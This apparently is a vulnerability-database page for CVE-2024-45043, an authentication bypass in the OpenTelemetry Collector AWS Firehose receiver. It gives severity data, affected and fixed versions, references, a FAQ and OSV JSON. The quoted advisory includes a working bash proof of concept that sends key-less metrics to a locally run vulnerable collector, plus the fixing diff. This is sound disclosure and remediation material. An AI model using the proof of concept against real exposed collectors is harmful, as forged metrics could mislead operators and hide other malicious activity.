CVE-2024-45043: Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Authentication Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-prf6-xjxh-p698
CVSS 5.3
CWE-285 CWE-200
Published
Advisory Summary

CVE-2024-45043 is a MODERATE (CVSS 5.3) authentication bypass vulnerability (CWE-285: Improper Authorization) affecting Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver libraries in the Go ecosystem. The issue involves opentelemetry collector module aws firehose receiver authentication bypass vulnerability. Remediation is available by upgrading affected packages to version 0.108.0.

CVE-2024-45043 at a Glance

CVE Identifier CVE-2024-45043
GHSA Identifier GHSA-prf6-xjxh-p698
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-285: Improper Authorization
Affected Product Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2024-45043

To remediate this vulnerability, upgrade all affected Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver fixed: 0.108.0
Upgrade github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver to 0.108.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-45043, inspect your project dependencies for Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver:

inspect dependencies for github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver

Analyze the terminal output to locate any version of Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.108.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary OpenTelemetry Collector module [`awsfirehosereceiver`](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**. ### Impact Only OpenTelemetry Collector users configured with the “[alpha](https://github.com/open-telemetry/opentelemetry-collector#alpha)” `awsfirehosereceiver` module are affected. This module was [added](https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74) in version v0.49.0 of the [“Contrib” distribution](https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib) (or may be included in custom builds). There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose [does not support private HTTP endpoints](https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http). ### Fix A fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0). ### Details <details> <summary>Details</summary> #### PoC When simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter. (Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.) ```shell #!/bin/bash OTELCOL_VERSION=0.107.0 OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}" OTELCOL_PLATFORM="linux_amd64" HOST_PORT=8081 cat > config.yaml << END # https://opentelemetry.io/docs/collector/configuration/ exporters: debug: verbosity: normal receivers: awsfirehose: endpoint : "127.0.0.1:${HOST_PORT}" record_type : "cwmetrics" access_key : "1234" service: pipelines: metrics: receivers: - awsfirehose exporters: - debug telemetry: logs: encoding: "json" level: "debug" END if [ ! -x "${OTELCOL_BINARY}" ]; then curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib mv otelcol-contrib ${OTELCOL_BINARY} fi "./${OTELCOL_BINARY}" --config=config.yaml & OTELCOL_PID=$! echo "Running OTel Collector with PID ${OTELCOL_PID}" sleep 3 # Send metrics with correct access key if ! curl --fail \ -H "Content-Type: application/json"\ -H "X-Amz-Firehose-Request-Id: requestId-valid"\ -H "X-Amz-Firehose-Access-Key: 1234"\ --data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\ http://127.0.0.1:${HOST_PORT} then echo "Unexpected – Request with valid access key did not succeed" kill ${OTELCOL_PID} exit 1 fi # Send metrics with incorrect access key if curl --fail \ -H "Content-Type: application/json"\ -H "X-Amz-Firehose-Request-Id: requestId-invalid"\ -H "X-Amz-Firehose-Access-Key: 5678"\ --data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\ http://127.0.0.1:${HOST_PORT} then echo "Unexpected – Request succeeded with invalid access key" kill ${OTELCOL_PID} exit 1 fi # Send unauthorized metrics without an access key if curl --fail \ -H "Content-Type: application/json"\ -H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\ --data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\ http://127.0.0.1:${HOST_PORT} then echo -e "\n*** Vulnerability present - request with no access key succeeded ***\n" else echo "Not vulnerable - request with no key was denied." kill ${OTELCOL_PID} exit 1 fi kill ${OTELCOL_PID} ``` #### Patch The [`if` statement](https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235) makes the access key header optional, rather than the configuration optional. This has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style: ```diff diff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go index 6211f61221..4d78eb2778 100644 --- a/receiver/awsfirehosereceiver/receiver.go +++ b/receiver/awsfirehosereceiver/receiver.go @@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) { // validate checks the Firehose access key in the header against // the one passed into the Config func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) { - if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != "" && accessKey != string(fmr.config.AccessKey) { - return http.StatusUnauthorized, errInvalidAccessKey + if string(fmr.config.AccessKey) == "" { + // No access key is configured - accept all requests. + return http.StatusAccepted, nil + } + if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) { + return http.StatusAccepted, nil } - return http.StatusAccepted, nil + return http.StatusUnauthorized, errInvalidAccessKey } diff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go index b02a391dd5..1ef5bdf4d3 100644 --- a/receiver/awsfirehosereceiver/receiver_test.go +++ b/receiver/awsfirehosereceiver/receiver_test.go @@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) { wantStatusCode: http.StatusUnauthorized, wantErr: errInvalidAccessKey, }, + "WithNoAccessKey": { + headers: map[string]string{ + headerFirehoseAccessKey: "", + }, + body: testFirehoseRequest(testFirehoseRequestID, noRecords), + wantStatusCode: http.StatusUnauthorized, + wantErr: errInvalidAccessKey, + }, "WithoutRequestId/Body": { headers: map[string]string{ headerFirehoseRequestID: testFirehoseRequestID, ``` </details>

CVE-2024-45043 Affected Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Versions

1 component(s)
Fixed Versions:
0.108.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver
Go
≥ 0.49.0
< 0.108.0
0.108.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/google/security-research/security/advisories/GHSA-q9wq-xc9h-xrw9
GitHub Advisory / Wiki ADVISORY
https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-prf6-xjxh-p698
NVD — CVE-2024-45043 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-45043
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74
Security Fix Commit FIX COMMIT
https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac
docs.aws.amazon.com/firehose/latest/dev... WEB
https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http
docs.aws.amazon.com/firehose/latest/dev... WEB
https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector#alpha
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector-contrib
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Release RELEASE
https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0
Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver Source Repository REPOSITORY
https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib

Frequently Asked Questions

What is CVE-2024-45043?
CVE-2024-45043 is a security vulnerability in Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver involving OpenTelemetry Collector module AWS Firehose Receiver Authentication Bypass Vulnerability under CWE-285: Improper Authorization.
Which Github.com/open telemetry/opentelemetry collector contrib/receiver/awsfirehosereceiver versions are affected?
Affected versions include releases prior to 0.108.0 across affected packages: github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver.
What version fixes CVE-2024-45043?
Upgrading to 0.108.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver affected?
Yes, github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver is affected in releases prior to 0.108.0. Upgrade your dependency to 0.108.0 or later.
What is the CVSS score of CVE-2024-45043?
CVE-2024-45043 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2024-45043?
CVE-2024-45043 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2024-45043?
Run the dependency tree command: 'inspect dependencies for github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-prf6-xjxh-p698",
  "modified" : "2024-10-01T14:06:07Z",
  "published" : "2024-08-29T17:56:36Z",
  "aliases" : [ "CVE-2024-45043" ],
  "summary" : "OpenTelemetry Collector module AWS Firehose Receiver Authentication Bypass Vulnerability",
  "details" : "### Summary\n\nOpenTelemetry Collector module [`awsfirehosereceiver`](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver) allows unauthenticated remote requests, even when configured to require a key.\n\nOpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. [Firehose sets the header](https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html) `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**.\n\n### Impact\n\nOnly OpenTelemetry Collector users configured with the “[alpha](https://github.com/open-telemetry/opentelemetry-collector#alpha)” `awsfirehosereceiver` module are affected. This module was [added](https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74) in version v0.49.0 of the [“Contrib” distribution](https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib) (or may be included in custom builds).\n\nThere is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose [does not support private HTTP endpoints](https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http).\n\n### Fix\n\nA fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).\n\n### Details\n\n<details>\n  <summary>Details</summary>\n\n#### PoC\n\nWhen simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter.\n(Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.)\n\n```shell\n#!/bin/bash\n\nOTELCOL_VERSION=0.107.0\nOTELCOL_BINARY=\"otelcol-contrib-${OTELCOL_VERSION}\"\nOTELCOL_PLATFORM=\"linux_amd64\"\nHOST_PORT=8081\n\ncat > config.yaml << END\n# https://opentelemetry.io/docs/collector/configuration/\nexporters:\n  debug:\n    verbosity: normal\nreceivers:\n  awsfirehose:\n    endpoint : \"127.0.0.1:${HOST_PORT}\"\n    record_type : \"cwmetrics\"\n    access_key : \"1234\"\nservice:\n  pipelines:\n    metrics:\n      receivers:\n      - awsfirehose\n      exporters:\n      - debug\n  telemetry:\n    logs:\n      encoding: \"json\"\n      level: \"debug\"\nEND\n\n\nif [ ! -x \"${OTELCOL_BINARY}\" ]; then\n    curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz\n    tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib\n    mv otelcol-contrib ${OTELCOL_BINARY}\nfi\n\n\"./${OTELCOL_BINARY}\" --config=config.yaml &\nOTELCOL_PID=$!\n\necho \"Running OTel Collector with PID ${OTELCOL_PID}\"\n\nsleep 3\n\n# Send metrics with correct access key\nif ! curl --fail \\\n  -H \"Content-Type: application/json\"\\\n  -H \"X-Amz-Firehose-Request-Id: requestId-valid\"\\\n  -H \"X-Amz-Firehose-Access-Key: 1234\"\\\n  --data '{\"requestId\":\"requestId-valid\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0=\"}]}'\\\n  http://127.0.0.1:${HOST_PORT}\nthen\n    echo \"Unexpected – Request with valid access key did not succeed\"\n    kill ${OTELCOL_PID}\n    exit 1\nfi\n\n# Send metrics with incorrect access key\nif curl --fail \\\n  -H \"Content-Type: application/json\"\\\n  -H \"X-Amz-Firehose-Request-Id: requestId-invalid\"\\\n  -H \"X-Amz-Firehose-Access-Key: 5678\"\\\n  --data '{\"requestId\":\"requestId-invalid\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0=\"}]}'\\\n  http://127.0.0.1:${HOST_PORT}\nthen\n    echo \"Unexpected – Request succeeded with invalid access key\"\n    kill ${OTELCOL_PID}\n    exit 1\nfi\n\n# Send unauthorized metrics without an access key\nif curl --fail \\\n  -H \"Content-Type: application/json\"\\\n  -H \"X-Amz-Firehose-Request-Id: requestId-unauthorized\"\\\n  --data '{\"requestId\":\"requestId-unauthorized\",\"timestamp\":1723704887152,\"records\":[{\"data\":\"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0=\"}]}'\\\n  http://127.0.0.1:${HOST_PORT}\nthen\n    echo -e \"\\n*** Vulnerability present - request with no access key succeeded ***\\n\"\nelse\n    echo \"Not vulnerable - request with no key was denied.\"\n    kill ${OTELCOL_PID}\n    exit 1\nfi\n\nkill ${OTELCOL_PID}\n```\n\n#### Patch\n\nThe [`if` statement](https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235) makes the access key header optional, rather than the configuration optional.\n\nThis has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style:\n\n```diff\ndiff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go\nindex 6211f61221..4d78eb2778 100644\n--- a/receiver/awsfirehosereceiver/receiver.go\n+++ b/receiver/awsfirehosereceiver/receiver.go\n@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n // validate checks the Firehose access key in the header against\n // the one passed into the Config\n func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n-       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != \"\" && accessKey != string(fmr.config.AccessKey) {\n-               return http.StatusUnauthorized, errInvalidAccessKey\n+       if string(fmr.config.AccessKey) == \"\" {\n+               // No access key is configured - accept all requests.\n+               return http.StatusAccepted, nil\n+       }\n+       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {\n+               return http.StatusAccepted, nil\n        }\n-       return http.StatusAccepted, nil\n+       return http.StatusUnauthorized, errInvalidAccessKey\n }\n\ndiff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go\nindex b02a391dd5..1ef5bdf4d3 100644\n--- a/receiver/awsfirehosereceiver/receiver_test.go\n+++ b/receiver/awsfirehosereceiver/receiver_test.go\n@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {\n                        wantStatusCode: http.StatusUnauthorized,\n                        wantErr:        errInvalidAccessKey,\n                },\n+               \"WithNoAccessKey\": {\n+                       headers: map[string]string{\n+                               headerFirehoseAccessKey: \"\",\n+                       },\n+                       body:           testFirehoseRequest(testFirehoseRequestID, noRecords),\n+                       wantStatusCode: http.StatusUnauthorized,\n+                       wantErr:        errInvalidAccessKey,\n+               },\n                \"WithoutRequestId/Body\": {\n                        headers: map[string]string{\n                                headerFirehoseRequestID: testFirehoseRequestID,\n\n```\n\n</details>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.49.0"
      }, {
        "fixed" : "0.108.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-q9wq-xc9h-xrw9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-prf6-xjxh-p698"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-45043"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-releases/pull/74"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac"
  }, {
    "type" : "WEB",
    "url" : "https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html#using-iam-http"
  }, {
    "type" : "WEB",
    "url" : "https://docs.aws.amazon.com/firehose/latest/dev/httpdeliveryrequestresponse.html"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector#alpha"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-contrib"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/receiver/awsfirehosereceiver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector-releases/tree/main/distributions/otelcol-contrib"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-29T17:56:36Z",
    "nvd_published_at" : "2024-08-28T20:15:08Z"
  }
}